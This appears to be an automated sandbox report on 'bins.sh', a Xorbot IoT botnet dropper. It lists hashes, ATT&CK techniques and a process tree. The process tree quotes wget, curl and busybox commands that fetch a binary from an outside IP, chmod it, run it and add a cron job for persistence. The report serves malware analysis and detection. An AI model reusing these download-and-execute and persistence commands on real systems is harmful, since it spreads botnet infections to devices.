xorbot | ef8f8c5c5b36b0a529408a4548db9eda2c603d762c5b002c87d80ca2520048e1

Analysis

max time kernel
149s
max time network
150s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
12/12/2024, 02:11

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General

Target

bins.sh
Size

10KB
MD5

b893f8a3678f6324d5e1ff87d0393fa8
SHA1

1e2b102dfda685b62684033152b33fc1844b8ccc
SHA256

ef8f8c5c5b36b0a529408a4548db9eda2c603d762c5b002c87d80ca2520048e1
SHA512

e50b84a12d2bf95173db594a0ecb5605d3d67b75df6eb86618b0843595c429c17fffc8046dea74fa907583fa085bdba834b776f6d88de8683d8cc9715a524bf3
SSDEEP

96:iJdwuOdS1MNnzcD7/BVYsidM7bL9SZ44gHs8T0Y7RcyBVYsid67Hs09SDMUCnzc7:UJynzcD7jz7bZSZ4NfzjSqnzcD7Rvl

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 1 IoCs

botnet trojan

resource	yara_rule
behavioral1/files/fstream-1.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (2145) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1527	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT	1528	WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT

Renames itself 1 IoCs

pid	Process
1529	WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.nrrZQT	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1674/cmdline	WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
File opened for reading	/proc/1846/cmdline	WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
File opened for reading	/proc/971/cmdline	WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
File opened for reading	/proc/1088/cmdline	WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
File opened for reading	/proc/1647/cmdline	WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
File opened for reading	/proc/3/cmdline	WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
File opened for reading	/proc/677/cmdline	WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
File opened for reading	/proc/1794/cmdline	WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
File opened for reading	/proc/1603/cmdline	WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
File opened for reading	/proc/1672/cmdline	WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
File opened for reading	/proc/1756/cmdline	WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
File opened for reading	/proc/558/cmdline	WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
File opened for reading	/proc/1514/cmdline	WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
File opened for reading	/proc/1542/cmdline	WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
File opened for reading	/proc/1625/cmdline	WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
File opened for reading	/proc/1805/cmdline	WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
File opened for reading	/proc/1810/cmdline	WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
File opened for reading	/proc/1822/cmdline	WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
File opened for reading	/proc/137/cmdline	WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
File opened for reading	/proc/1026/cmdline	WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
File opened for reading	/proc/1570/cmdline	WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
File opened for reading	/proc/22/cmdline	WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
File opened for reading	/proc/1199/cmdline	WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
File opened for reading	/proc/1685/cmdline	WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
File opened for reading	/proc/1554/cmdline	WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
File opened for reading	/proc/1689/cmdline	WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
File opened for reading	/proc/1078/cmdline	WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
File opened for reading	/proc/1841/cmdline	WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
File opened for reading	/proc/1581/cmdline	WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
File opened for reading	/proc/1592/cmdline	WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
File opened for reading	/proc/1815/cmdline	WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
File opened for reading	/proc/1833/cmdline	WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
File opened for reading	/proc/160/cmdline	WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
File opened for reading	/proc/1560/cmdline	WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
File opened for reading	/proc/1565/cmdline	WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
File opened for reading	/proc/175/cmdline	WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
File opened for reading	/proc/1031/cmdline	WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
File opened for reading	/proc/1538/cmdline	WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
File opened for reading	/proc/1649/cmdline	WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
File opened for reading	/proc/1737/cmdline	WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
File opened for reading	/proc/32/cmdline	WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
File opened for reading	/proc/1191/cmdline	WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
File opened for reading	/proc/1569/cmdline	WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
File opened for reading	/proc/1749/cmdline	WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
File opened for reading	/proc/1843/cmdline	WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
File opened for reading	/proc/1074/cmdline	WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
File opened for reading	/proc/1515/cmdline	WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
File opened for reading	/proc/1543/cmdline	WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
File opened for reading	/proc/35/cmdline	WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
File opened for reading	/proc/1627/cmdline	WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
File opened for reading	/proc/10/cmdline	WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
File opened for reading	/proc/429/cmdline	WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
File opened for reading	/proc/1631/cmdline	WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
File opened for reading	/proc/1558/cmdline	WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
File opened for reading	/proc/1745/cmdline	WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
File opened for reading	/proc/1758/cmdline	WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
File opened for reading	/proc/474/cmdline	WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
File opened for reading	/proc/509/cmdline	WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
File opened for reading	/proc/1143/cmdline	WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
File opened for reading	/proc/1641/cmdline	WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
File opened for reading	/proc/1683/cmdline	WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
File opened for reading	/proc/1696/cmdline	WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
File opened for reading	/proc/1836/cmdline	WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
File opened for reading	/proc/28/cmdline	WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT

Writes file to tmp directory 3 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT	wget
File opened for modification	/tmp/WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT	curl
File opened for modification	/tmp/WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1519
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1520
- /usr/bin/wget
  wget http://37.44.238.68/bins/WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
  2⤵
  - Writes file to tmp directory
  PID:1521
- /usr/bin/curl
  curl -O http://37.44.238.68/bins/WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
  2⤵
  - Writes file to tmp directory
  PID:1525
- /bin/busybox
  /bin/busybox wget http://37.44.238.68/bins/WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
  2⤵
  - Writes file to tmp directory
  PID:1526
- /bin/chmod
  chmod 777 WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
  2⤵
  - File and Directory Permissions Modification
  PID:1527
- /tmp/WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
  ./WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:1528
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1530
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1531
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1532
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1533
- /bin/rm
  rm WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
  2⤵
  PID:1535
- /usr/bin/wget
  wget http://37.44.238.68/bins/CSXvuw8xXaGC6LVAzjKSN5Txjai8eL4O8D
  2⤵
  PID:1538

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT

Filesize
99KB

MD5
9438d9bc392bcf300a5583b6df5bc8f6

SHA1
375a6ae34b516f6f3eeea8030c4084f585017efa

SHA256
68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

SHA512
1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

Download Submit
/var/spool/cron/crontabs/tmp.nrrZQT

Filesize
210B

MD5
847a612cd673cbc723db059a64ef3ae7

SHA1
bd136b99b352e3b8ca45bd1b0e6813bb2fd7cc5d

SHA256
b3fee9276e5c776c72cad23b02add1a7ed9ec0f6b099ff3462580a44ad4a07f9

SHA512
ac0dda29e6c6fb84aee99ebb3e7b718cc047a86f3342e556b9c1a3221ed9d933bfa4d43a473a7516742ad3974d2e8dc86f2c323999da34f293ae8b0318b7f13e

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads